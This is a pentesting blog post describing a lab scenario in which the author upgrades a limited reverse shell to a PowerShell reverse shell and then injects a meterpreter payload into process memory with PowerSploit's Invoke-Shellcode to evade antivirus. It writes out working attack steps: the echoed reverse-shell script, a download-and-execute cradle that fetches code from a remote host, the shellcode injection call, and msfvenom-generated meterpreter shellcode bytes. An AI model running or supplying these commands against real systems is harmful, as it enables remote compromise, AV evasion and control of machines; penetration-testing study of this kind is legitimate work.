Powersploit in a pentesting scenario

demonstrates how you elevate from a limited reverse shell to powershell and how you inject your meterpreter payload into the running process

Advertisements

When you read through the documentation of the powersploit package you will see that the authors demonstrate the power of their tools in a simplified environment: They log on to a Windows Desktop, start powershell and then, they demonstrate all the great things powersploit can do. This is cool, but hardly what penetration testers will have to do in their daily work.

In this blog post, I’m looking at powersploit from a more real world pentesting perspective.

Recently in a pentest lab I came across a more or less recent version of the Windows OS and a popular anti virus solution running on it. Eventually I got my reverse shell but I quickly realized 2 quite common problems: First, I could only connect back to my attacking kali machine on port 80 and 443 and second, a meterpreter executable I managed to bring to the machine didn’t execute and shortly after simply vanished. The AV had kicked in in the background.

I decided to attempt to get a meterpreter session by the help of powersploit, or, more precisely, by its feature to inject shellcode into a running process and thereby evading AV protection. There are many posts about the main idea, one of them is [2], but as said in the introductory paragraph usually the authors start from a Windows desktop session and that is not what I want to demo here.

From cmd.exe to powershell.exe

I am not going to write anything about how I created the reverse shell in the first place. Let’s assume you can get such a shell in a stable and reproducable fashion. How do I promote the shell to a powershell session?

Fortunately, the fabulous code you can find at [3] gives you the answer. I downloaded the ps1 file, modified it in order to have a batch file which echoes the file line by line into the existing shell (pay attention to the escaping of ampersand (&), pipe (|) and redirect operator (>)!) and renamed it to “ps1” extension:

echo function Invoke-PowerShellTcp  > ips.txt
echo { >> ips.txt
echo     [CmdletBinding(DefaultParameterSetName="reverse")] Param( >> ips.txt
echo         [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] >> ips.txt
echo         [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] >> ips.txt
echo         [String] >> ips.txt
echo         $IPAddress, >> ips.txt
echo         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] >> ips.txt
echo         [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] >> ips.txt
echo         [Int] >> ips.txt
echo         $Port, >> ips.txt
echo         [Parameter(ParameterSetName="reverse")] >> ips.txt
echo         [Switch] >> ips.txt
echo         $Reverse, >> ips.txt
echo         [Parameter(ParameterSetName="bind")] >> ips.txt
echo         [Switch] >> ips.txt
echo         $Bind >> ips.txt
echo     ) >> ips.txt
[...Snip...]

After that you just have to start a second listener and you can get your powershell reverse session:

powershell  -executionpolicy unrestricted -command "& { . .\ips.ps1; Invoke-PowerShellTcp -Reverse -IPAddress  -Port }"

and here we go:

bild1.png

Great! I don’t know if purists would call this a real powershell but I couldn’t find any problem for my purpose. Even cd worked great.

Powersploit and Kali Linux

Let’s quickly recap where we stand and where we want to go.

  1. We can create a powershell session from a limited cmd.exe type reverse shell
  2. We would like to use the powershell session to leverage the powersploit features, i.e. inject shellcode into process memory and thereby evading AV detection (through not writing anything to the disk)
  3. We have eaten up the 2 available outgoing ports 80 and 443 in order to come to this point

As a next step, we’ll take care of step 2 and do a small exercise to check if the inject-shellcode feature works.

Let’s start in a controlled environment with the Inject-Shellcode script (see [1]). When this is under control I will address step 3.

So I logged in to a Win7 machine under my control as administrator, prepared a reverse_https meterpreter handler within metasploit, started powershell and entered ….

PS C:\Users\Administrator > iex (new-object net.webclient).downloadstring("http://X.X.X.X/Invoke-Shellcode.ps1“)
PS C:\Users\Administrator > invoke-shellcode -payload windows/meterpreter/reverse_https -lhost X.X.X.X -lport 443 -Force

In my example here, X.X.X.X stands for the IP address of the box running the metasploit listener. If you were wondering where I get the code from that I’m going to inject here you have the answer: You download it. Of course your web server providing the code doesn’t need to be on the attacking box, it can be on any box the target can reach (Later, I will distribute the work to 2 machines – consequence of the fact that I need a lot of listeners but only ports I can use are 80 and 443…).

The first statement loads the Invoke-Shellcode module into the memory of the powershell session. The second statement invokes the module with a meterpreter payload and callback parameters. Note how this resembles the way you call msfvenom. Also note that whenever you dynamically load new code like this you can call “get-help” to display the module’s help:

bild2.png

Unfortunately, the invoke-shellcode command crashed the shell:

bild3.png

Also metasploit complained:

bild4

When I googled for the /INITM path that is quite strange I found the problem had already been reported (see [4]). Strange thing is that I tested this with Kali 1.1.0 and a more recent Kali version from January 2016 and both had the same powersploit code installed. Anyway. Those versions I was using didn’t seem to be compatible with each other.

I renamed /usr/share/powersploit to /usr/share/powersploit_old and installed the latest version from github into /usr/share/PowerSploit.

Let’s compare the 2 different versions of Invoke-Shellcode. First pretty obvious difference is that the old version has a parameter -ListMetasploitPayloads which doesn’t exist anymore in the new version. Instead, starting in line 420 there is shellcode to start calc.exe:

bild5

I checked the old code for the strange http request to /INITM. It is in line 593:

bild6

… but it does not exist anymore in the new code. Obviously, the developers of powersploit removed explicit support for certain metasploit payloads. Instead, the user needs to create and add shellcode herself. This makes sense because it removes the need to keep this module in sync with the various payloads metasploit offers.

Okay, so what did this mean for me? I needed to replace the calc.exe shellcode by meterpreter shellcode. There was no reason not to stick with the original reverse_https payload:

root@kali:/tmp# msfvenom -p windows/meterpreter/reverse_https LHOST=X.X.X.X LPORT=443 -f ps1 EXITFUNC=thread
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31
$buf += 0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52
$buf += 0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff
$buf += 0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd
$buf += 0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b
$buf += 0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1
$buf += 0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3
$buf += 0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac
$buf += 0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3
[...Snip...]

and I also replaced the 64bit shellcode by the equivalent of the above for the sake of completeness.

And this time… SUCCESS!


bild7
bild8

Putting the pieces together in the lab

Now, in order to create the meterpreter session in the test lab I needed to overcome one  obstacle: I need a port metasploit can listen on. So one way would be to create the cmd.exe reverse shell on port 443, then create the powershell reverse shell on port 80, kill the first shell (in order to free port 443) and have metasploit use that port.

I found it easier to simply use a second machine for one of the first 2 shells. I decided I want the powershell reverse shell on a second box. The following picture illustrates the connections and where which shell runs (my attacking box is called „kali“, the helper box is a windows box and called „Win7“. The target of our attacks is called „Windows Target Box“):

bild9

  1. This is the initial attack that brings the first reverse shell. It occupies port 80 on the attacking kali box
  2. This creates the reverse powershell session. For that, there is a listener on port 443 on an additional box that is under control of the attacker. Why port 443? We could also use port 80, right? Reason is that we need a webserver that serves the requests for the code-to-inject. Using port 80 is convenient because no additional set up and no headaches because of non-trusted TLS certificates.
  3. After that we setup a metasploit listener with payload windows/meterpreter/reverse_https on port 443 on the attacking box. From the shell on the Win7 box we inject the shell code which connects to the metasploit listener on port 443 on the attacking box.

The procedure to get meterpreter is similar to what we did in the first 2 paragraphs. We only need to pay attention to putting the correct addresses to the commands.

References

  1. http://colesec.inventedtheinternet.com/hacking-with-powershell-powersploit-and-invoke-shellcode/
  2. http://null-byte.wonderhowto.com/how-to/hack-like-pro-use-powersploit-part-1-evading-antivirus-software-0165535/
  3. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
  4. https://github.com/PowerShellMafia/PowerSploit/issues/65
  5. http://www.powershellempire.com/

Author: Kai Ullrich

In my first life: SAP Software Developer and Security Consultant in the IAM area. In my second life: Hacking Enthusiast, Pentester and Security Researcher trying to understand as much as I can as deeply as I can.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s